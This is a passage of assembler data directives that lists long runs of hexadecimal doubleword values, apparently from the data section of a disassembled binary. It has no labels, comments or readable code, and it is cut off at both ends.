41DB604h, 8CC0ADBEh dd 0A8DBB4h, 0F77033F9h, 6D52E51Bh, 0E7682E00h, 85CFC3A3h dd 0F8B000E8h, 896F5DF2h, 0B43DD4A2h, 12E7165Eh, 3332C00h dd 0B4936F8h, 0B98B9165h, 8031B905h, 4A55D258h, 2D0AB21Eh dd 7E1114C0h, 1CFE0D4Fh, 0C5EE065Eh, 0C0CB9468h, 0F7C15133h dd 0E1AF9F00h, 58246144h, 887F0002h, 7416DABDh, 0A32CCB5Eh dd 1900CCB2h, 4CFB7DFAh, 0B7D8A3AEh, 5661D3E0h, 0E03F6B1h dd 0E1A22F8Eh, 600FF781h, 93F06E94h, 0F3E4009Eh, 88FD91DBh dd 0D93F4A0Bh, 0C8450214h, 0C0A178B6h, 0C1EC58h, 74A28BEDh dd 24759A9Bh, 514A500h, 0B72DD7E8h, 0B8EE006Dh, 0B6E60E26h dd 0C8001CA6h, 797D655Ch, 1D25F20h, 13046C3Ah, 0DC5E47B3h dd 0C10055A1h, 0BFDA8A2Ch dd 0D81B91h, 224784Eh, 36C2BB33h, 54B5FB01h, 0E2BAF1C6h dd 0E60BCE20h, 0AEE007F4h, 55D78AF0h, 9D42839Fh, 0FC9BF2F9h dd 2000A15Bh, 532C4081h, 90440942h, 6D1D0A30h, 0DBDBBFh dd 2AD814E0h, 330E3963h, 5C56964Ah, 72763500h, 3D803053h dd 8580586Ch, 1C4D643Eh, 183C5FDAh, 5D228019h, 160B15A6h dd 0EA1B7790h, 385403E8h, 24B79F29h, 0F1B400F5h, 596D80F5h dd 1A65D901h, 0BCFA49D7h, 5F05470h, 0D6B0B4B5h, 0E3E000CDh dd 3C96E5ABh, 38EAC231h, 3D8394Eh, 1AF303E2h, 2BF724B9h dd 57283B90h, 0DE16F200h, 0C5BC923Dh, 9FE60090h, 35C0EC84h dd 5500FAF5h, 545DD2D4h, 0F4E9807Bh, 528800F3h, 6AF7669Dh dd 740038D9h, 8EE518A4h, 2C835E71h, 7A9F2Bh, 0E8202DB8h dd 0E0C0FA27h, 99CA42EAh, 2EFF0065h, 53127234h, 3300F5F7h dd 0A64C5B9Ah, 2425B78Fh, 1F8CEF06h, 2F0C8943h, 0C5611480h dd 28073CB6h, 5233DD6h, 7AC5A115h, 3B335400h, 370D11DBh dd 20B8BA39h, 40D66BEDh, 42C22B03h, 0D9C064h, 1CD4F288h dd 0B802C41h, 71948A00h, 53C030E9h, 620E00D3h, 11BF08F2h dd 6300EA1Ah, 0A357F72h, 0E1D793h, 4D7A0638h, 429B502Bh dd 0ADCAF91Dh, 0CE2D1903h, 7356A0EDh, 0E27F0955h, 0D800324Dh dd 3A4C9A8Ah, 0E6A2AF00h, 8756D51Ch, 0EEB66235h, 0A4601595h dd 800178D3h, 4D0396Bh, 0A828D99Ah, 47591100h, 4131955Ch dd 83C63505h, 0F807B538h, 0CD55F261h, 1EAC7090h, 0A8A0F03h dd 92FF8B29h, 50A800D3h, 233F885Dh, 0D689A217h, 9AB58840h dd 2C6E760Dh, 0E655F7h, 156B16A7h, 1C77897Eh, 348B5C02h dd 58CD420Ch, 0B6FD07B0h, 905592C6h, 0FEAE7CB9h, 2EB34C18h dd 0B7D8E8h, 50EC413h, 1296B09h, 23343600h, 0C011CA40h dd 6CC95882h, 2CE5E900h, 0CA078D5h, 5201CD16h, 0B19BA000h dd 3EB09E13h, 0C1506A5Dh, 1DEC0F37h, 2B00A0CBh, 0B6C94FBCh dd 3D9EBB05h, 55803917h, 0ADFCD3h, 53A1F60Ch, 0CEEA93EFh dd 4F94AE00h, 0E7FA9E66h, 847005DAh, 0C4E43D3Eh, 0D791C7A1h dd 0E8B5407Fh, 7900D6A3h, 342FAF1Dh, 3A7F7FCh, 13C77ECFh dd 30C786AEh, 3B7CD1C3h, 4A0026E6h, 0EC6C52AAh, 175E3480h dd 2704F31h, 16621007h, 0CD47F040h, 0FE041E26h, 0CEFDBF00h dd 1DD360Eh, 0BCFC19ADh, 6043DBF0h, 7200EC78h, 0D370D4F1h dd 0E8C9128h, 0E9294D38h, 545BCE61h, 89F840EAh, 47884C11h dd 0B61D05AFh, 0D0582534h, 0D4026388h, 99735E00h, 559EA840h dd 0D9A307FCh, 70249328h, 5D6FA125h, 153F8900h, 0F44E2D82h dd 5FDD0038h, 0F7897D4h, 627C943Ch, 6CB93213h, 0DD660845h dd 0A0B47883h, 0DA5AAEh, 0CAC36159h, 5BB801E2h, 0F9EDDB0Dh dd 0B340C68Dh, 19A267Fh, 7351B43Ch, 0E49C25BAh, 2200D314h dd 16CABED7h, 983AC398h, 0D18F01CDh, 0B8C08DF7h, 0BAB2204Ah dd 0D500EE72h, 46C38E25h, 3C1861h, 13702A9h, 211B2309h dd 0C988B00h, 93EB483Eh, 40E50736h, 0B0587DEDh, 0E71F74B9h dd 922D5000h, 0CFAF75CAh, 14BD58E3h, 80546504h, 90B8C858h dd 0F52040h, 0ED3AD16Ah, 973CB9Dh, 0DCECA06h, 74389984h dd 74EE00C5h, 7BB3E09Ch, 7505823Ah, 41D5E72Ch, 598BB8D0h dd 175F1472h, 1500DC78h, 84877E08h, 9E0309F6h, 61AE6FFh dd 0D9BCC0B0h, 76AD0056h, 72615ECDh, 960099E1h, 0C081631Fh dd 545054B6h, 5D8849h, 0CD9AF5ADh, 10D420C9h, 0F6B46A00h dd 19DF8A73h, 894000D1h, 293B534h, 98002841h, 0A5FC4520h dd 0A1DF0Ch, 4485D99Fh, 57660962h, 0A94B20h, 8AA8471Dh dd 0AE402599h, 0A4441300h, 7EC46E6Ah, 0ADD300BFh, 8976F218h dd 5E00E5F6h, 1C9E226Ch, 953F112h, 0C9799D6Dh, 0DEB64400h dd 3F016A5Ah, 0E12970E9h, 0C081F55Eh, 1179A33Eh, 63283048h dd 9C708B60h, 74A55CE4h, 7C960065h, 640E4361h, 0BF0BF5CFh dd 81B5FF7Eh, 1FEAA204h, 5A064h, 547AD9E9h, 0C6374CD8h dd 0BD32B209h, 65E5031Bh, 0DE09B8B8h, 34381461h, 8A03C4C8h dd 725CEDC3h, 0DFD4A0F0h, 3EA53Ch, 96745FA2h, 0E9DC71h dd 0BC6F9B97h, 2C7CAB95h, 33F84305h, 0F8C83263h, 7E7D0078h dd 61A03E57h, 7439EA0Dh, 5FBB9Ah, 950A443Dh, 10BE73h, 0CA066032h dd 416E1FEDh, 3C3EBF98h, 0CD340055h, 916A83E0h, 87BE0944h dd 0A4802D51h, 0C25AE502h, 0FE517A7Eh, 9D9FF4DCh, 3FAED700h dd 0DE384D7Dh, 7890005Bh, 4F27B163h, 3400D199h, 0F109F3D3h dd 0EAAD59EFh, 2E2305C6h, 0FB813FBh, 0EDC9A980h, 1478860h dd 65F2BD16h, 6007B013h, 48087FEh, 0C150A2Bh, 14FE951h dd 0EB006B21h, 3E3DB817h, 0F23A5682h, 14502DAh, 9447A48Dh dd 0CC43ECC1h, 0B09E4CEh, 0A3070C6Ah, 89DCED88h, 20FA31h dd 0A181C0BDh, 0ACFFEF9Dh, 71E78A06h, 200503h, 0E9F0C82h dd 0DFA1AF9h, 0DBE5C001h, 3B116E6Dh, 0FA9A8830h, 0C6BC0090h dd 0BB42E0Fh, 109FB31h, 98748568h, 1C58F9D0h, 0E81DB3C8h dd 796B00F0h, 1AA41F60h, 620361A9h, 9A64E98h, 6A8F8975h dd 6708F0h, 17CC2F49h, 8A4D7033h, 0D883F539h, 1ACF00A8h dd 0A5AE7DEBh, 2AE8009Bh, 0B4314F39h, 0E1034163h, 70CCE761h dd 2D2EF8FEh, 45380014h, 2AEDA79Fh, 5F721AAFh, 0F41EF006h dd 9F01D7Eh, 0A9B68E10h, 4B8D14C0h, 0D89C7654h, 0CC457103h dd 0AC9DC993h, 409BE0C0h, 20FE005Dh, 700667C3h, 9100A6FAh dd 49B546CBh, 92C7ECh, 688AFCD1h, 6B197F69h, 6AC15500h dd 0ABE92462h, 30DDF801h, 1A80D95Bh, 5900F4EFh, 36B21251h dd 90BE17h, 0F3C7A695h, 8572066Eh, 9E54D500h, 0C40C8D84h dd 98140029h, 13AF1C2Fh, 69143E59h, 0A92FB82h, 0B8C4C18Ch dd 790E9304h, 9007CE2h, 0E2E15529h, 56383E17h, 8338085h dd 0E88F8CEh, 813B1653h, 9C880066h, 1C1A4AD6h, 0BF8064B4h dd 1D7CB56h, 5CB37C7Ch, 4128374Bh, 0E305279Ch, 2072F080h dd 0F800B89Eh, 142D51Bh, 1E1C9DFAh, 93CE37C8h, 0EF2400B7h dd 68852258h, 12D8F200h, 0A12F4EB5h, 0E7B8C0A3h, 21E671CBh dd 4C1B9000h, 1E39AC51h, 0F63700D2h, 60EE9E24h, 53003D95h dd 0CD01D9EDh, 75CB6Bh, 0D3065A98h, 513487DFh, 0ABE88301h dd 0B3D9CDC5h, 32040F2Ah, 0A9BC2D20h, 9E018BB4h, 0D36BD60Fh dd 803C801Eh, 1D9C2903h, 90D740ACh, 8B416CE4h, 5B87000h dd 762CAB47h, 6B098E7h, 6DE33849h, 1B14B8C7h, 7B8B169h dd 0CDD2C7Ah, 0A6CBE9C0h, 0DCC80329h, 861AB0Ah, 97F27C8h dd 49948013h, 34049441h, 0D42CA32Fh, 137636C3h, 0D0847E8h dd 20591100h, 0D62188C9h, 0BFDF3BF3h, 8BBCA600h, 72485466h dd 0D0FD913Bh, 0CB482ECEh, 0FA8A00B4h, 0FF9D24D9h, 4C047347h dd 6C002830h, 0BA5C8D7Ah, 54319445h, 7BC4A472h, 0FFA2060h dd 9F964ED3h, 0D30092EBh, 773A8723h, 6532BD01h, 0DBD3E9B3h dd 41B430h, 86A873BCh, 0BB66E437h, 672AA4Ch, 0A94F9F75h dd 8ABC834Eh, 90D037h, 7BE1BF89h, 2A479E29h, 28FE3407h dd 83B7568Ah, 2BE20D00h, 79170791h, 0DC745CBDh, 0DA3AFD5Eh dd 0DC369E25h, 0C6190785h, 454FBC03h, 2CD084F2h, 6D78B7h dd 0D11C0E4Bh, 1D8DE484h, 0F427B200h, 0B0506224h, 8FE600A2h dd 0B914CF07h, 3D008CADh, 996EE308h, 5845DB28h, 0A0067149h dd 10E2CC5Bh, 95FF5818h, 0EE0B570h, 8A33AE6Bh, 90060B92h dd 286264C0h dd 0CAFD5909h, 284E482h, 83419A0h, 526020F9h, 0AE00995Bh dd 0EC5D8BADh, 248F7130h, 0E3F43DBh, 80E4E124h, 0C348D286h dd 3FEF9860h, 0A35B9100h, 0B743B6Ah, 0FF87000Ah, 0FC12BF6Eh dd 0BC00F251h, 2DC3FB46h, 53CFE03h, 0B61EC835h, 4350B04Fh dd 0ED5B8100h, 0C42A73BFh, 9AA00917h, 0E00AD4Ch, 9B13E7E6h dd 0C1517A01h, 8B34D5DCh, 1570EE4h, 75AF7286h, 0C46B942Dh dd 8D018FACh, 915527F8h, 9EF4597Ah, 54714CF4h, 38240400h dd 517B97C9h, 0CD725A00h, 0B634F2Eh, 0E6F90091h, 49BDE965h dd 0E5134327h, 640973D6h, 62EE0085h, 7C69DC15h, 6B6600D4h dd 5BB17871h, 731A800Ch, 54649446h, 1C0617A8h, 0D1EBC07Ch dd 3251E81Ah, 0BA31BB39h, 0F491B815h, 0FC8FD800h, 0CD651007h dd 856E1EF8h, 44D04058h, 61351875h, 39E22E09h, 0A0AA09EAh dd 0A8172DD4h, 0AC94CDh, 0BED91673h, 8B17026h, 80EE283Ah dd 9E136300h, 0F84AA3AEh, 0B2390009h, 9A3A150Bh, 5B00E02Dh dd 0B8779EF3h, 16B414F6h, 5F85D6D8h, 0E0768030h, 619B1617h dd 66880300h, 0AA5CC895h, 0FBAD022Bh, 0FD719E83h, 440020F8h dd 13FE99BAh, 1C22E11h, 0B7D308B0h, 206DD709h, 9B3C53CCh dd 5F8E8051h, 0D382A6B6h, 4B6B0015h, 0EF9CAE3h, 920EAA3Dh dd 7AFA6Eh, 34AC0B01h, 365179Fh, 88003ED9h, 0DC6ECBB4h dd 0D78188B1h, 0E728D207h, 7EA82Ch, 0FD44AFF3h, 827C23BAh dd 4CD0F700h, 0F938E79Ch, 28B65893h, 358A007Dh, 95CFA576h dd 7800CD6Fh, 6A0A4914h, 982D93h, 62EC0B8Ch, 0F4F8D402h dd 5565A700h, 963D40CBh, 7D0F78D2h, 8CD70773h, 5035EA3Bh dd 8E2D9598h, 810E14F6h, 3F3D94A9h, 18AEF480h, 0E9F97Fh dd 7C8E067Ah, 61D60A66h, 83B3FB00h, 6A27D973h, 0A492078Dh dd 6720DBE1h, 0C895C43Fh, 2F0080B4h, 9614D3FDh, 2E132DEh dd 6674EBF2h, 0DCE8D4AAh, 0EA00BFD0h, 0C138B9CEh, 700123E1h dd 80309E88h, 447B0D86h, 0FD249230h, 980058CEh, 2DAF23E2h dd 568D001Eh, 1F74EF55h, 523E7104h, 0F2C4CD7h, 0EBFABCBFh dd 0E7200F9Bh, 79419E64h, 428EEBEh, 0D17A100Bh, 0C503F02Fh dd 9989F92Ch, 2155D044h, 1049276Ch, 0E125009Eh, 0B9BC5668h dd 0CA0B7328h, 4A591C3h, 50F0FCC0h, 63B107EDh, 412F845Ch dd 0A5594DBCh, 0C34C0080h, 0C08F94h, 328DF9CCh, 2B3071Ah dd 47A2900h, 5D958018h, 0ABD7414h, 0C4AC0A8Fh, 6A63002Ch dd 83547B5Ch, 99EBBC17h, 71D72700h, 16674EF3h, 0DBD0D4h dd 0E51262C8h, 0B93E096Fh, 0BA148069h, 0F08DFD05h, 0EB5900C9h dd 0D117DF71h, 0D5005B80h, 0D73F1979h, 7C7621D0h, 9E280099h dd 0EC44D67Ah, 432CA51Fh, 5100D463h, 0FD84480Bh, 927B0754h dd 0B769185Ah, 1C590019h, 6406EE9Ah, 66E52153h, 0F8C200B9h dd 360D807Ch, 0FC1623CCh, 7400A760h, 0AF53B40Ch, 380B0A76h dd 80C419D1h, 21337FF4h, 130550ADh, 2C9CEF37h, 9BB568C3h dd 858004Eh, 0CCC957A3h, 18BEBA33h, 6953E1Eh, 91037CECh dd 70F64032h, 0D52CB88Ch, 3E61DE3Ah, 0A028305h, 750CC053h dd 0BB04DC9Ch, 0CAE659FCh, 1A304C90h, 666800BCh, 0D7690E97h dd 0A500CF8Dh, 6F519DB3h, 1E075459h, 8644883Ch, 0CCD8D37Ah dd 77AE181Eh, 0B2CAFB00h, 1CC8D94Fh, 800E345Bh, 58C4E8ABh dd 26037D0Bh, 33399B20h, 805AD8EAh, 0F9BC0E98h, 803C232h dd 0EB908DABh, 2B04115Ch, 0F797336Eh, 0E3932490h, 0C2700B4h dd 29A8147Ah, 792A05FAh, 0A600842Fh, 51232275h, 67E3B6h dd 7239651Dh, 0C25F5A8Dh, 63D7C41Eh, 982A77DCh, 0D8B3082Ah dd 5D749FF0h, 40D04400h, 76A18FA0h, 3D4F4F0h, 0DC3FE123h dd 2000661Dh, 6B2FFA20h, 1D9DE58Dh, 47C1B506h, 23B112CDh dd 0B3C880AFh, 700C282h, 7645FC46h, 8BA26C5h, 77875DD8h dd 0D71DCA01h, 75E49C49h, 26C97974h, 0FE441C1h, 1E400E8Bh dd 7782B223h, 798AEF00h, 31A6EDADh, 3692003Dh, 0B3AB80C6h dd 0BB0FCC1Eh, 0AFB65B07h, 3E51A71Bh, 9D38804Fh, 0F230A09Ah dd 8D0400C5h, 64017A75h, 0EB014111h, 0B1DD079Eh, 1AC847B5h dd 0D3E00DCh, 9A6535FCh, 20F983Ah, 9B6F66h, 0B8E74270h dd 38F10F54h, 0F020A66Ch, 0ECF8F2DCh, 9B1C1107h, 212F167Fh dd 220431DDh, 181B5098h, 1A01E661h, 0EFF7E50Dh, 1EDCA680h dd 2D1F00DCh, 11A9C7C3h, 1B00F5D8h, 0A35C1C4Bh, 3E859A8Eh dd 50ACC5ECh, 510118FDh, 4C6080A8h, 0AAA63C41h, 98963E45h dd 4EEA5E00h, 34C1BA1Fh, 2E7FA101h, 0BE76187Eh, 0A804B30h dd 0E939AF0Eh, 1A78090h, 99EEC10h, 6515190Ch, 0DE5960h dd 2D6C2D0h, 1280C1B3h, 51F30DFh, 0F96CAE47h, 45EFE640h dd 7A8700ABh, 0C93FE988h, 0A400CB49h, 85EE46D4h, 74880D3h dd 0EA983E86h, 0A08B172Ch, 25C1A150h, 4AD7D100h, 0DFB33F41h dd 0CF5B07F6h, 0DAAA61D2h, 745504h, 78324E7Bh, 81552A88h dd 9C874F07h, 69B08A75h, 72F9218h, 8085D1F2h, 0BD888065h dd 0F8E91BF1h, 3B3E783Ch, 85ED00D0h, 0A1795631h, 3EF20E7Eh dd 77607C3Ah, 7655EF4Bh, 0D1008774h, 9CD0A245h, 1E1B5DEBh dd 0C0887732h, 2E40449Fh, 4800CF64h, 3D19367Eh, 0E861A64Ah dd 23F02695h, 0B8EB1801h, 88008E89h, 2FBDD780h, 0CC0B9Dh dd 0E1372241h, 0A6EB215Fh, 84B4C31Fh, 28757E4Ch, 0AB83449Bh dd 44B78844h, 7B441DA5h, 6311FF37h, 8353125Fh, 11874C28h dd 119CE379h, 7F115B03h, 12A319A9h, 50423F29h, 81B118Bh dd 297E656Fh, 1A2802EBh, 2705E0C6h, 80281404h, 0C28474Ah dd 0C329C520h, 0B7FCA845h, 41B38174h, 12BB9428h, 6050816Fh dd 0F027AB1h, 0BC877883h, 48B2921h, 1C7B5BCDh, 0C06C79F0h dd 127644h, 0D54D6FFDh, 0B2B3BFA1h, 9C82D900h, 97CF1598h dd 0A0D40BE3h, 7809E1Bh, 7F050D39h, 744C020Bh, 3FA38032h dd 127189Ah, 88D2A1E8h, 0DCC42BA8h, 0C058BC7Eh, 0CD2200EAh dd 5121E411h, 1EE37094h, 3E0AA767h, 0D9BFD501h, 0CC2017CEh dd 44006B5Fh, 1BFEC1A3h, 3B3F0739h, 0C0164DBFh, 0C43600DAh dd 5FADF4EEh, 80FF5300h, 0B8BC67BBh, 44CE00D8h, 17237FFCh dd 27035FD4h, 0E94286EDh, 2415C804h, 0FB43383Fh, 21E1459Ah dd 66E39280h, 3B0AD003h, 973397D6h, 0EC03D00h, 1201B145h dd 0D1BDA1h, 86419D58h, 6C00A269h, 4CB08457h, 9B857Fh dd 0B6238847h, 10EEC579h, 6581AE07h, 0E8A6755Bh, 953F0560h dd 0EC88352h, 0CE64999Bh, 0E8DC808Ch, 880007EEh, 1A0E94B1h dd 2A0DE67h, 4244A16Dh, 20E3C58Ch, 6ACFF0D0h, 0A300E2FAh dd 1299D761h, 2972E0h, 373BD8AFh, 0A2562034h, 22A4D900h dd 72E19DC4h, 71E00009h, 0C95BA77Dh, 21006AB6h, 513BF7B5h dd 0ACA01Ch, 0D405B738h, 8C53BB83h, 8A0E9B71h, 8199DB68h dd 73D1CC2Dh, 0FF88C8h, 463D6A25h, 0AF3CDFDEh, 411EB51Ch dd 8E632200h, 70BDC40h, 15035F35h, 840E7014h, 0A5007486h dd 0EDEE8506h, 0ECD9DFh, 0D3471923h, 43EB1A53h, 7CFFF00h dd 0DEB7C820h, 5E774CE1h, 0F5F89B00h, 0E37C9D1h, 0BBB0DA0Eh dd 0D2DD205Fh, 0B10B06h, 4CD1A910h, 15C4742Ch, 2EE9BE00h dd 4DE5908Eh, 97320370h, 8626F902h, 83C8E0DBh, 0CC4838CFh dd 4D76036Ch, 0E81B9419h, 24D829h, 36456EC8h, 38CE25Ch dd 997AAC00h, 0A69E1E70h, 0FFC10035h, 0A25A1CC2h, 3E0ED746h dd 60212BAAh, 0EE248E13h dd 0C5770E1Ah, 9D4064CBh, 0F802CD87h, 71C7E100h, 823BAD54h dd 392504F0h, 90F5339Ch, 28119D40h, 7613D51Fh, 0D1A7B0C0h dd 4C36887h, 16E193CEh, 8CF4C1A4h, 0D09C250Bh, 0A227BE20h dd 61A9007Ah, 0FCAC327Dh, 39131ED1h, 0DA5B4018h, 92448CB2h dd 82607B01h, 7A974B67h, 9854F043h, 0E26A51ECh, 1F4507DDh dd 0EFEE8062h, 6EBDEB20h, 0A23F354Ah, 5F7283B9h, 0C8057F7Dh dd 990790h, 0D7C95C17h, 2F83F92Ah, 16787107h, 95401C15h dd 0F61444D3h, 0A285005Ah, 0E2AB7293h, 697FC2DCh, 55109F67h dd 539E8049h, 58D4167h, 0A6632664h, 5CDC403Bh, 5C58AF3h dd 0B5F8FD01h, 0D0E6B6BCh, 3230820h, 93979DC2h, 6ED03927h dd 0DD026016h, 0B46D04D8h, 80C400Eh, 0C8DC3AE9h, 62378180h dd 0B1C0FACBh, 0AAD67D00h, 57726556h, 75E30915h, 2080363Fh dd 717AA9C6h, 0C04F2500h, 687C55E2h, 493A04CBh, 80DEF00Ah dd 0F5C8300Ch, 84C2700h, 14D091E5h, 3B890AAh, 59E7FEA6h dd 0EF90C4B8h, 2F006D36h, 3CCCD927h, 0DEDA0Bh, 0AEF7C1E7h dd 0F0DFFECEh, 762B1700h, 59366386h, 0E75C007Ch, 6F851CAh dd 501D1DBh, 31164BDAh, 56304997h, 0E86D4859h, 396E1701h dd 335C88FBh, 99017924h, 63B9C020h, 15E0954Ah, 5E48007Ch dd 250F6EFCh, 9F0001D9h, 11058165h, 39426DAEh, 6A00EE4Fh dd 8083318Eh, 0AF009D66h, 71B47ED3h, 0CCF13ABh, 0B6F7C94Bh dd 0F1005C10h, 50015A4Ch, 2896F2BEh, 95BC891Bh, 0E53B6570h dd 0F66202A2h, 0E0EB3BD3h, 0C007770Bh, 83690370h, 2E00B313h dd 0FD75F0F7h, 2829AD49h, 2C636A7h, 0B4984462h, 0EE404FDEh dd 0BC000C1Ch, 0A4E959EEh, 0E8AC13h, 8B42BEA7h, 0E68D2C81h dd 0F0374500h, 3E12EE6Bh, 0C24000E3h, 4EE7876Dh, 1C3F67AEh dd 467E9D27h, 0E97A8D40h, 0F9DC788h, 0A2829F84h, 1BD63A60h dd 260143ACh, 4B7F42CEh, 6B60FEDFh, 33410775h, 9173F8A5h dd 0E8196309h, 0BD034C21h, 9508B3CEh, 8891EF36h, 17C07314h dd 0AAA92CC5h, 9F410091h, 0C2FDEEEAh, 1CF03D05h, 2C80F552h dd 0FD6A95B4h, 90812FDCh, 0E95C00C0h, 0D9262899h, 3A009361h dd 0EBF3CD8Eh, 0E5946E3h, 1092E780h, 0CD5B200h, 0FB12524Bh dd 0EB0F7FA5h, 0B06DA059h, 7039038Eh, 24F2F0ACh, 350A93Dh dd 90643768h, 9E6374D0h, 0D44C2804h, 2880A2D7h, 0DEBB13h dd 0FB9BEA87h, 1B64F971h, 68BF4Ch, 1DC484Bh, 997388h, 19DD1EFEh dd 2184B855h, 0CCD49E13h, 0DFAE50F0h, 54564002h, 234A73E2h dd 654FD204h, 780F0B0h, 0E8AE5AFh, 0A32E662Ch, 491E29E0h dd 880097F8h, 2308695Eh, 0EC66585Ch, 5C99F850h, 5B0FCCB4h dd 2A003778h, 9A3CA179h, 0ADB0DB05h, 68809318h, 3E45586Eh dd 0D80013FCh, 5F4443B3h, 3700B82Dh, 8EEB0540h, 0F1B5D09Ah dd 2511BDCh, 16C7E5BCh, 0C8A0968Ah, 0BB141DECh, 77C96D00h dd 0A8D4A763h, 7FE30070h, 328C2069h, 381CC526h, 31C0EC35h dd 0A88B7DABh, 2E6900F9h, 53AA72A4h, 8004D75Dh, 4EC741E5h dd 8050FB04h, 7CCA07B3h, 0DECC7B00h, 4543FA8h, 5FD200BAh dd 41D1AF17h, 0E4E9AD43h, 0A10013C0h, 6B71FE6Eh, 27510D9h dd 0B654D07Bh, 9B4139EEh, 663CE8FAh, 0F98BB900h, 2857F82Eh dd 0D27AD6h, 78569FE7h, 35FE5C02h, 0A25F5317h, 0C94D400h dd 6CAB68h, 5797FA5Ah, 0EAF04539h, 98015Ch, 0C0EE20A0h dd 2C2A73h, 0A9BEFEC4h, 3D31548Dh, 0EDC79800h, 0F9A187C9h dd 10B8F4h, 66CB9A68h, 9D37A71Dh, 0E182C616h, 6AB35003h dd 3E5BD089h, 6CF30072h, 68ACF2F8h, 20004291h, 0AE4FC6F6h dd 7E55ECB3h, 0E55401E9h, 0BC7AC27Ch, 6B38F856h, 86FB4500h dd 42FC229Ah, 0E8BDEA1Eh, 1B4A0061h, 0DBEE11C6h, 0AA0F6009h dd 0C0C13615h, 89BAFD98h, 5CE27D8Dh, 2500C7BDh, 0CAB27608h dd 0F44887C5h, 0A8500003h, 0EB4B80CBh, 6DD80233h, 0F63EC33Bh dd 0C6440841h, 0E11CE0D7h, 9F7A00D0h, 0DB6901CCh, 18036897h dd 0DD1D9B24h, 50D49863h, 159200C9h, 0A1D180C6h, 0EA003CC5h dd 1C556C02h, 14A0459h, 8EAFA2FFh, 0C086C933h, 457FB3C7h dd 5D10C500h, 44736718h, 0A3D62827h, 48887AA0h, 0D300D0B6h dd 72DE09BAh, 3A7C902Dh, 11AB570Ch, 0B28A1h, 7B6D203Fh dd 178C688Dh, 9D2F6F00h, 0FA6E8913h, 534B176Bh, 7C4C0F26h dd 6A62AAC0h, 6100D230h, 8CDFA7D6h, 732A3B13h, 69810009h dd 316EAFBAh, 0ED00D263h, 0A319018Ah, 0F398A1h, 0B69B5248h dd 3C8458E2h, 4FFE2F00h, 8A97D430h, 0DD7E7Bh, 69DAE87h dd 968E12F8h, 44BB3326h, 7D50DC81h, 0B2ECD26Bh, 281418D6h dd 0ED64B888h, 17DB7600h, 0A8613F22h, 70B02883h, 236F0080h dd 0C8BF52A3h, 62009231h, 0C0AE10E4h, 3E4EF0h, 6F8E980Eh dd 0F39E7DD9h, 0A524E0A0h, 65D31B00h, 0FF9B7101h, 5892984Dh dd 0D20E333Ch, 7DCECA83h, 0B143AA00h, 0B701F026h, 0C22EE3A2h dd 60309C25h, 6F350150h, 0E029FE78h, 93E040C5h, 0E8903C1Bh dd 4420A100h, 0B9E47E9Fh, 0EF6004Dh, 0ADD9BFD8h, 3FEAE9E6h dd 1E121048h, 0D400E571h, 9CDE24B0h, 64720308h, 694644A3h dd 0DCD1B00Eh, 1DFCC552h, 0B90FEC43h, 0C473B13Ch, 0E0C415F9h dd 9B88A0C0h, 0D537023Dh, 0E3F1187Ah, 0CA2DAF40h, 0C25CBD05h dd 0C880B93Fh, 2C9D5310h, 3C63118h, 7392DB7Ch, 0F8CABAC9h dd 0BEC08EB9h, 4540F019h, 0C3091846h, 0FC016029h, 834C2360h dd 9E3DCBh, 2609BF0Dh, 6432F36Ah, 0F7DEBA07h, 6FB08729h dd 91D7E5h, 0E6761B30h, 548060B8h, 67593214h, 0E7E801ECh dd 0E41CE33Bh, 0F557C8h, 3848ECB2h, 0A00AA8B3h, 0A576FD01h dd 3A0398E6h, 5A8024h, 132F7F89h, 0FCE7E54Fh, 37129B00h dd 40C9CFEEh, 0A9C4002Eh, 0C62A59F5h, 3BF8DBD6h, 3400A490h dd 0DF02D25Bh, 5A0D42h, 0EB089F40h, 5E2B6288h, 0B7C94C00h dd 7701461Fh, 2907004Fh, 0D9B4CCAFh, 620005A6h, 0E47935AAh dd 24737D8Fh, 38EAA7h, 3C8D9F83h, 0EF1E09C5h, 8700D31Ah dd 0ABF17EE2h, 91759Ch, 0E93ADE59h, 0F2CE8CACh, 3DD5F700h dd 16FDE60Ah, 0B02E3BDCh, 717BD280h, 35D6E903h, 0F6AB7400h dd 3C890F5Ah, 0B9C80041h, 0FA5B71B0h, 0A3005C68h, 8698ABD1h dd 0E0AE99h, 0D50E2802h, 0F24B7BCEh, 822DA100h, 0C5CBFF7Eh dd 0EB4212B5h, 21B600C1h, 4766B9C0h, 81001C9Ah, 0DD935F2Dh dd 0FE78473h, 0AFC152CAh, 32C5AC82h, 1EBC4B40h, 0A8AEF100h dd 1695F8CEh, 0C6E48E2h, 0D5BD4307h, 0F9D900CDh, 74005CAEh dd 0DECA9E31h, 0EC188A51h, 0E3891EF8h, 441D00C0h, 15B1138Eh dd 0CCD9C500h, 0FD66A02Fh, 0F2B83BDCh, 2508EA80h, 72741CAAh dd 15ABF600h, 0E26AC95Ch, 3FD81E46h, 3083C075h, 7AF72F1Fh dd 60339400h, 48A1FA63h, 6D4400A4h, 9E3B81D0h, 7C902C21h dd 5F00D270h, 4DAFF282h, 0AC17EAh, 0A569616Fh, 98BB5B59h dd 0CAAEA900h, 3B5F50B3h, 0ABA004CEh, 0E0A3784Fh, 0B44F19D0h dd 77031BE8h, 0C8033B1Eh, 2C9F00FFh, 42002097h, 0ABF8B311h dd 9B807Eh, 0AAC22622h, 0A5037B1Ah, 6A584900h, 95B67E0h dd 80660041h, 219DB84Eh, 0AF009F86h, 4B77BE1Bh, 1A531CDh dd 59C90D75h, 0F899DA6Fh, 0F600EF98h, 0B6CB92D5h, 0E20224C5h dd 8C1D00B3h, 0E90DFCACh, 3B038BF3h, 0BD3D180Fh, 0C7CCE8B9h dd 24F7003Ch, 3690D8B5h, 407A6DBh, 744F54BCh, 0C082DA73h dd 10F1B1Dh dd 0A64581D8h, 0FD7A9802h, 1CCBC8D2h, 860DC900h, 0C6B4A5E0h dd 9F3003Ch, 38E103E6h, 760230EBh, 0F05BAD5Dh, 8A41FF35h dd 0DB2880A7h, 0BD0AE4F3h, 15FA1F31h, 321870A6h, 8E010713h dd 0C0115826h, 0A8809B43h, 7C6D4870h, 0CEE01AFEh, 8E2BFB0h dd 0A0ABC10Ch, 3A55E0EDh, 9D3CDEF6h, 0D7A38D00h, 0E1D6D54Ch dd 282B7700h, 4D3A6253h, 6AB60176h, 29600A92h, 642F2051h dd 8CE9C800h, 3CC324BCh, 8A661E90h, 4AFEC048h, 0BDBABF96h dd 6D057F1Eh, 3C7DFD40h, 9C16FBh, 61021472h, 8D442154h dd 1DC34000h, 829D8A9Bh, 7F870E3Ch, 0B14067E9h, 0A472C1Bh dd 0B0B1271h, 938C9Bh, 0DCC6BAA9h, 62F713AEh, 185EB852h dd 